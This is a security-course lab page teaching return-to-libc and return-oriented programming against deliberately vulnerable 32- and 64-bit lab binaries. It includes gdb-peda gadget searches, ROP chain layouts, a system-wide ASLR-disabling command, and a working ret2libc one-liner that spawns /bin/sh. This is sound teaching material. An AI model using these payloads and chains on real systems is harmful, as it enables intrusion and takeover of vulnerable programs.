# Lab 08 - Return Oriented Programming

## Supporting files

You will use this lab archive throughout the lab.

$wget http://elf.cs.pub.ro/oss/res/labs/lab-08.tar.gz$ tar xzf lab-08.tar.gz

After unpacking, you will get the lab-08/ folder:

$cd lab-08/$ ls -F
2-rlibc/  3-ropbuf/  4-ropfunc/  5-roplibc/

## Introduction

As we've seen in the previous labs, due to the code integrity protection mechanisms, we cannot store our exploit code in areas marked as non-executable (e.g. data segment or stack). In this case, we need more advanced attacks like reusing parts of the already executable code in order to bypass the integrity restrictions. For instance, if we want to obtain a shell, we can replace the return address (divert control to) with the address of the system function from libc using the "/bin/sh" string as a parameter. This type of attack is called return-to-libc. In general we can reuse existing code in the program to do what is known as Return-Oriented Programming (ROP). ROP is a very powerful technique: it was shown that the attacker may reuse small pieces of program code called gadgets to execute arbitrary (Turing-complete) operations.

## Recap: Protection Mechanisms Overview

Since we have already covered most of the state of the art protection mechanisms against exploitation on Linux let's go over them one more time.

To apply reconnaisance on a given binary it is best to use the checksec command that is part of pwntools.1)

Let's apply it on a random binary:

# checksec --file ./test
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./a
• NX, as we have seen, typically applies to the stack: whether or not we can place shellcode on the stack and return to it.
• Stack Canary refers to the guard value placed right before the return address that is tested in the sanity check at the epilogue of a function against stack smashing.
• PIE (Position Independent Executable) refers to binaries compiled in position independent mode. In these cases even the binary image is randomly offset (not at the usual 0x08048000).
• RELRO refers to the writability of the GOT section. More details here

Of course, to be able to use PIE the kernel needs to have ASLR support compiled in and enabled.

# checksec --proc-all | head
* System-wide ASLR (kernel.randomize_va_space): On (Setting: 2)

Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.
This, among other things, implies that shared libraries will be loaded to random
addresses. Also for PIE-linked binaries, the location of code start is randomized.

See the kernel file 'Documentation/sysctl/kernel.txt' for more details.

* Does the CPU support NX: Yes

In exploitation it is important to gauge your efforts:

• if every protection mechanism is disabled you shouldn't try advanced exploit methods: stick to shellcode-on-stack methods.
• if you see Canary values check all the leaf functions to see if the compiler missed anything. If not, then check for an information leak (to read its value) or an arbitrary write (to overwrite the original one in the TLS at gs:0x14). Otherwise, see if you can overwrite anything useful before the guard value (variables that affect code flow such as function pointers)
• when encountering ASLR remember that on 32 bits it's pretty easy to bypass using bruteforce methods. Also remember that the executable image is fixed (if PIE is not enabled) so you might be able to reuse parts of it

## Return Oriented Programming

### From Ret-to-libc to ROP

As we've seen in the introduction, a standard ret-to-libc attack would be to overwrite the return address with the address of a function from libc like below:

RET + 0x00:   addr of system
RET + 0x04:   JUNK
RET + 0x08:   address to desired command (e.g. '/bin/sh')

However, what happens when you need to call multiple functions? Say you need to call f1() and then f2(0xAB, 0xCD)? The payload should be:

RET + 0x00:   addr of f1
RET + 0x08:   JUNK (return address after f2 finishes: we don't care about what happens after the 2 functions are called)
RET + 0x0c:   0xAB (param1 of f2)
RET + 0x10:   0xCD (param2 of f2)

What about if we need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42)?

RET + 0x00:   addr of f1
RET + 0x08:   0xAB (param1 of f1)
RET + 0x0c:   0xCD (param2 of f1)  !! but this should also be 0xEF (param1 of f2)
RET + 0x10:   0x42 (param2 of f2)

This kind of conflict can be resolved using Return Oriented Programming, a generalization of ret2libc attacks. As we will see in the next section, the main idea is to find some intermediate instructions that will clear the parameters of f1() from the stack when they are no longer needed.

### ROP Chains and Gadgets - 32 bit

The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a 'ret' instruction.

Here are some gadgets from the previous program:

0x8048443: pop ebp; ret
0x80484a7: pop edi; pop ebp; ret
0x8048441: mov ebp,esp; pop ebp; ret
0x80482da: pop eax; pop ebx; leave; ret
0x80484c3: pop ecx; pop ebx; leave; ret

By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. As an example let's say we would like to load 0x41424344 into eax and 0x61626364 into ebx. The payload should look like:

RET + 0x00:   0x80482da  (pop eax; pop ebx; leave; ret)
RET + 0x04:   0x41424344
RET + 0x08:   0x61626364
RET + 0x0c:   0xAABBCCDD ???
• First the ret addr is popped from the stack and execution goes there.
• At pop eax 0x41424344 is loaded into eax and the stack is increased.
• At pop ebx 0x61626364 is loaded into ebx and the stack is increased again.
• At leave two things actually happen: mov esp, ebp; pop ebp. So the stack frame is decreased to the previous one (pointed by ebp) and ebp is updated to the one before that. So esp will now be the old ebp+4.
• At ret code flow will go to the instruction pointed to by ebp+4. This implies that execution will not go to 0xAABBCCDD but to some other address that may or may not be in our control (depending on how much we can overflow on the stack). If it is in our control we can overwrite that address with the rest of the ROP chain.

We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers.

On important use of gadgets is to clear the stack. Remember the issue we had in the previous section? Let's solve it using gadgets. We need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42). Our initial solution was:

RET + 0x00:   addr of f1
RET + 0x08:   0xAB (param1 of f1)
RET + 0x0c:   0xCD (param2 of f1)  !! but this should also be 0xEF (param1 of f2)
RET + 0x10:   0x42 (param2 of f2)

The problem is that those parameters of f1 are getting in the way of calling f2. We need to find a pop pop ret gadget. The actual registers are not important.

RET + 0x00:   addr of f1
RET + 0x04:   addr of (pop eax, pop ebx, ret)
RET + 0x08:   0xAB (param1 of f1)
RET + 0x0c:   0xCD (param2 of f1)
RET + 0x10:   addr of f2
RET + 0x14:   JUNK
RET + 0x18:   0xEF (param1 of f2)
RET + 0x1c:   0x42 (param2 of f2)

Now we can even call the next function f3 if we repeat the trick:

RET + 0x00:   addr of f1
RET + 0x04:   addr of (pop eax, pop ebx, ret)
RET + 0x08:   0xAB (param1 of f1)
RET + 0x0c:   0xCD (param2 of f1)
RET + 0x10:   addr of f2
RET + 0x14:   addr of (pop eax, pop ebx, ret)
RET + 0x18:   0xEF (param1 of f2)
RET + 0x1c:   0x42 (param2 of f2)
RET + 0x20:   addr of f3

Step by step stack changes

Click to display ⇲

Click to hide ⇱

### ROP Chains and Gadgets - 64-bit

On x86_64 the function arguments are set in registers which changes the workflow for ROP. Instead of using pop, pop, …, ret gadgets with arbitrary registers to clean the stack, we need to set the arguments in specific registers:

Example:

• address of pop rdi, ret followed by a value on stack (first arg)
• address of pop, rsi, ret followed by a value on stack (second arg)
• address of function with 2 arguments

• On 32 bits we think in terms of call + cleanup - arguments are already on the stack, but need to be cleaned up after func call
• on 64 bits we think in terms of setup + call. - arguments need to be set in registers before calling the function

Step by step stack changes

Click to display ⇲

Click to hide ⇱

### Debugging and Tools

When you know what the offending function is, disassemble it and break on “ret”.

gdb-peda$pdis main Dump of assembler code for function main: 0x0804843c <+0>: push ebp 0x0804843d <+1>: mov ebp,esp 0x0804843f <+3>: and esp,0xfffffff0 0x08048442 <+6>: sub esp,0x30 0x08048445 <+9>: mov DWORD PTR [esp+0x8],0x64 0x0804844d <+17>: lea eax,[esp+0x19] 0x08048451 <+21>: mov DWORD PTR [esp+0x4],eax 0x08048455 <+25>: mov DWORD PTR [esp],0x0 0x0804845c <+32>: call 0x8048310 <read@plt> 0x08048461 <+37>: mov eax,0x0 0x08048466 <+42>: leave 0x08048467 <+43>: ret End of assembler dump. gdb-peda$ b *0x08048467
Breakpoint 1 at 0x8048467

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7f97e54 --> 0x1a6d5c
EDX: 0x64 ('d')
ESI: 0x0
EDI: 0x0
EBP: 0x41334141 ('AA3A')
ESP: 0xffffcd6c ("AEAAeAA4AAFAAfA\n\300\317\377\367\034")
EIP: 0x8048467 (<main+43>:	ret)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048445 <main+9>:	mov    DWORD PTR [esp+0x8],0x64
0x804844d <main+17>:	lea    eax,[esp+0x19]
0x8048451 <main+21>:	mov    DWORD PTR [esp+0x4],eax
0x8048455 <main+25>:	mov    DWORD PTR [esp],0x0
0x8048461 <main+37>:	mov    eax,0x0
0x8048466 <main+42>:	leave
=> 0x8048467 <main+43>:	ret
0x8048468:	xchg   ax,ax
0x804846a:	xchg   ax,ax
0x804846c:	xchg   ax,ax
0x804846e:	xchg   ax,ax
0x8048470 <__libc_csu_init>:	push   ebp
0x8048471 <__libc_csu_init+1>:	push   edi
0x8048472 <__libc_csu_init+2>:	xor    edi,edi
0x8048474 <__libc_csu_init+4>:	push   esi
[------------------------------------stack-------------------------------------]
0000| 0xffffcd6c --> 0xf7e333e0 (<system>:	sub    esp,0x1c)
0004| 0xffffcd70 --> 0x80484cf (<__libc_csu_init+95>:	pop    ebp)
0008| 0xffffcd74 --> 0xf7f56be6 ("/bin/sh")
0012| 0xffffcd78 --> 0xf7e25c00 (<exit>:	push   ebx)

Then you can break on all called functions or step as needed to see if the payload is doing what you want it to.

Checksec in peda

gdb-pedachecksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial Gadget finding in peda Apart from objdump which only finds aligned instructions, you can also use dumprop in peda to find all gadgets in a memory region or mapping: gdb-peda start
....
gdb-peda$dumprop Warning: this can be very slow, do not run for large memory range Writing ROP gadgets to file: a-rop.txt ... 0x8048467: ret 0x804835d: iret 0x804838f: repz ret 0x80483be: ret 0xeac1 0x80483a9: leave; ret 0x80485b4: inc ecx; ret 0x80484cf: pop ebp; ret 0x80482f5: pop ebx; ret 0x80484df: nop; repz ret 0x80483a8: ror cl,1; ret 0x804838e: add dh,bl; ret 0x80483e5: ror cl,cl; ret 0x8048465: add cl,cl; ret 0x804840b: leave; repz ret 0x8048371: sbb al,0x24; ret 0x80485b3: adc al,0x41; ret 0x8048370: mov ebx,[esp]; ret 0x80484de: nop; nop; repz ret 0x80483a7: call eax; leave; ret 0x80483e4: call edx; leave; ret 0x804840a: add ecx,ecx; repz ret 0x80484ce: pop edi; pop ebp; ret The simplest way to dump basic ROP gadget is using the ropgadget command such as below: gdb-peda$ ropgadget
ret = 0x80482d2
popret = 0x80482e9
pop2ret = 0x804855a
pop4ret = 0x8048558
pop3ret = 0x8048559
addesp_16 = 0x80483b5

Something finer is using asmsearch or ropsearch:

gdb-peda$asmsearch "pop ? ; ret" 0x080482f5 : (5bc3) pop ebx; ret 0x080484cf : (5dc3) pop ebp; ret 0x080484f6 : (5bc3) pop ebx; ret gdb-peda$ asmsearch "pop ? ; pop ? ; ret"
0x080484ce : (5f5dc3)	pop    edi;	pop    ebp;	ret

gdb-peda$asmsearch "call ?" 0x080483a7 : (ffd0) call eax 0x080483e4 : (ffd2) call edx 0x0804842f : (ffd0) call eax gdb-peda$ ropsearch "pop eax"
...
# search the requested gadget in libc area
gdb-peda$ropsearch "xchg eax, esp;" libc ## Tasks For tasks in this lab, you'll need to disable ASLR by issuing the following command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space Note that this has a system-wide effect. To launch a single executable with ASLR disabled, use: setarch$(uname -m) -R <executable>

(You can pass a shell as the executable and all processes launched by that shell will also have ASLR disabled.)

Run any program (for instance the binary from the next exercise) and find some specific ROP gadgets:

• two pops in any registers followed by ret in the binary memory range.
• call ebx; ret in libc memory range.
cd 2-rlibc/
gdb ./rlibc
gdb-peda$b main Breakpoint 1 at 0x8048451: file rlibc.c, line 16. gdb-peda$ r
Starting program: /root/lab-08/2-rlibc/rlibc
...
Breakpoint 1, main () at rlibc.c:16
16		vuln();
gdb-peda$ropsearch "pop ?; pop ?; ret" Searching for ROP gadget: 'pop ?; pop ?; ret' in: binary ranges 0x080484da : (b'5f5dc3') pop edi; pop ebp; ret gdb-peda$ ropsearch "call ebx; ret" libc
Searching for ROP gadget: 'call ebx; ret' in: libc ranges
0xf7f0d8f2 : (b'ffd3c3')	call ebx; ret

### 2. Return-to-libc - bypass NX/DEP (tutorial)

Analyze the rlibc.c source code. As we can see, there is a buffer overflow vulnerability. Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call system("/bin/sh"). This exercise assumes that the libc address of system remains constant, so don't forget to disable ASLR.

Our exploit payload will look something like:

[overflow] [<system> addr] [fake return address] ["/bin/sh"]

In order to correctly prepare the stack frame for system() (so "/bin/sh" will be placed in the parameters location), we also need to set a return address for it. Since system() will execute the desired shell, we don't actually need to return from it, so we can set this address to a random value (e.g. "\x00"*4)

• First, we need to identify the libc address of system() and set it as a return address in our payload.
root@kali:~/lab-08# gdb rlibc
gdb-peda$b main Breakpoint 1 at 0x8048451: file rlibc.c, line 12. gdb-peda$ r
Starting program: /root/lab-08/rlibc
Breakpoint 1, main () at rlibc.c:12
gdb-peda$p system$1 = {<text variable, no debug info>} 0xf7e34af0 <system>
• We also need to find a "/bin/sh" string in order to send it as an argument to system(). We can check if we already have this string somewhere in libc.
gdb-peda$find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f56be8 ("/bin/sh") • As usual, we have to identify the overflowed buffer offset where the return address starts. We can do this using the peda pattc and patto commands as in the previous labs. • In the end, our exploit will look something like (where 140 is the overflowed buffer offset): cat <(python -c 'print "\x00"*140+"\xf0\x4a\xe3\xf7"+"\x00"*4+"\xe8\x6b\xf5\xf7"') - | ./rlibc  ### 3. ROP: Find the buffer Analyze the content of 3-ropbuf/ropbuf.c. There is a buffer overflow, but in order to exploit it we have to know the buffer's address on the stack. We had a similar situation in lab7 where we built a 2-stages exploit and managed to leak the buffer's address. But this is not always so easy to guess/leak. #### ROP Gadget to return to the buffer If you look at the assembly code for the vulnerable function you can see where the buffer is located at return. gdb-peda$ pdis vuln
Dump of assembler code for function vuln:
0x00000000004005b7 <+0>:	push   rbp
0x00000000004005b8 <+1>:	mov    rbp,rsp
0x00000000004005bb <+4>:	sub    rsp,0x90
0x00000000004005c2 <+11>:	mov    QWORD PTR [rbp-0x88],rdi
0x00000000004005c9 <+18>:	mov    rdx,QWORD PTR [rbp-0x88]
0x00000000004005d0 <+25>:	lea    rax,[rbp-0x80]
0x00000000004005d4 <+29>:	mov    rsi,rdx
0x00000000004005d7 <+32>:	mov    rdi,rax
0x00000000004005da <+35>:	call   0x4004b0 <strcpy@plt>
0x00000000004005df <+40>:	nop
0x00000000004005e0 <+41>:	leave
0x00000000004005e1 <+42>:	ret
End of assembler dump.

The buffer address is stored in a register when ret is executed.

Use ropsearch ... libc. Instead of ... place the instructions you search.

Using this information, find a ROP gadget that will help you jump directly to a shellcode stored in the buffer. Replace the return address with the address of the ROP gadget. You can start from the skeleton in ropbuf.py. This exercise also needs ASLR disabled, since it assumes that the ROP gadget's address remains constant between consecutive runs.

In order to start a program with an argument using pwntools in Python use

    io = process(["./ropbuf", payload])  # Run ./ropbuf using payload as command line argument.

#### ROP Debugging

Try using the same exploit on ropbuf_dbg binary. You'll see that it doesn't work.

You can use the recommended ROP debugging method described above to find out why the same exploit doesn't work.

You can use checksec to discover information about the ropbuf and ropbuf_dbg executables.

### 4. ROP: Functions chain

As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments in between function calls.

Take a look at 4-ropfunc/ropfunc.c and make it call call_1() followed by call_2() and call_exit(). You can start from the skeleton in ropfunc.py. When calling call_1() and call_2(), make them print the messages in the if block by passing the proper parameters.

### 5. Bonus ROP: Libc Functions chain

Now let's move to a more practical example by chaining useful libc functions. Take a look at roplibc.c. We can see that we have a buffer overflow on buf and a global, unused gbuf.

• The stack is not executable so, at the first sight, we cannot put our shellcode neither in buf, nor in gbuf. But what if we manage to call (jump to) mprotect over the memory area where we store the shellcode, and make it executable?
• Furthermore, given the fact that gbuf is larger than buf, we might want to put our shellcode there. But how do we do this when the only read call is on buf? In this case, we will also want to call (jump to) read in our exploit payload.
• A possible ROP chain (that will start from the overwritten return address from buf) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.

• First we need to call read in order to read the shellcode in gbuf. The pop ?;ret ROP gadgets will pop the values from the stack into the proper registers for the read function. Then it calls another pop ?;ret ROP gadgets to pop values from stack in registers, as parameters(mp1,mp2,mp3) for mprotect function, in order to make the gbuf/shellcode area executable. And finally, it returns/jumps to gbuf where the shellcode is stored.
• Build the exploit starting from the skeleton in roplibc.py. You can find the gbuf addr using nm.
nm roplibc | grep gbuf

In order to find the addresses of functions in the standard C library, use GDB and the the print (or p) command, similar to the run below:

$gdb -q ./roplibc Reading symbols from ./roplibc...done. gdb-peda$ start
[...]
gdb-peda$p read$3 = {ssize_t (int, void *, size_t)} 0x7ffff7af4070 <__GI___libc_read>
gdb-peda$p mprotect$4 = {<text variable, no debug info>} 0x7ffff7affae0 <mprotect>

The first argument to mprotect() is the address of the page you want to change the mapping for. It must be a page address, i.e. the last three hex digits (nibbles) have to be 0, that is the 12 bits that corresponding to the page offset.

After you create the exploit, you can check in gdb with vmmap command if mprotect call is executing properly and if the section containing gbuf is now executable.

gdb-peda$vmmap Start End Perm Name 0x00400000 0x00401000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00401000 0x00402000 r-xp /home/student/lab-08/5-roplibc/roplibc 0x00402000 0x00403000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00403000 0x00404000 r--p /home/student/lab-08/5-roplibc/roplibc 0x00404000 0x00405000 rw-p /home/student/lab-08/5-roplibc/roplibc After mprotect call: gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00401000         0x00402000         r-xp	/home/student/lab-08/5-roplibc/roplibc
0x00402000         0x00403000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00403000         0x00404000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00404000         0x00405000         rwxp	/home/student/lab-08/5-roplibc/roplibc
1) If the checksec command is not available you can download and use the checksec.sh helper script.